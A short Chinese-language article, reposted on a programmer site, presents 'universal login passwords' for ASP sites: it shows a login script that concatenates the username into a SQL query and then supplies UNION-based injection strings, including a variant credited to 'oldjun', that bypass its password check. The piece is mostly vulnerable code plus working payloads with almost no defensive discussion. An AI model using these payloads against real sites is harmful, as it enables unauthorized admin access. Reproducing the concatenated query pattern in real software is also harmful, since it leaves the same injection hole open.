欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

ASP注入万能登陆密码

程序员文章站 2022-07-03 10:37:27
《黑客手册》样刊里面,oldjun提到一种新的万能登陆密码。比如网上有很多这样的登陆验证代码:   程序代码   <%   username=trim(Request.Form("username")) ... 09-05-24...
《黑客手册》样刊里面,oldjun提到一种新的万能登陆密码。比如网上有很多这样的登陆验证代码:

  程序代码

  <%

  username=trim(request.form("username"))

  password=trim(request.form("password"))

  sql="select * from admin where user='"&username&"'"

  set rs=server.createobject("adodb.recordset")

  rs.open sql,conn,1,1

  if rs.eof then

  checksysuser=false

  else

  passwd=trim(rs("pwd"))

  if passwd=password then

  session("admin")=username

  checksysuser=true

  else

  checksysuser=false

  end if

  end if

  rs.close

  conn.close

  if checksysuser=true then

  response.redirect("main.asp")

  else

  errmsg="<font color=#ff0000><b>用户名输入有误,请重新输入!</b></font>"

  end if

  %>

  先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失效。

  但如果在上面的程序中,用户名输入 程序代码

  ' union select 1,1,1 from admin where ''='

  ,密码输入1,就可以登陆成功,原理很简单,就不多说了。

  顺便附上oldjun的语句:

  程序代码

  ' union select 1,1,1 as pwd from admin where ''='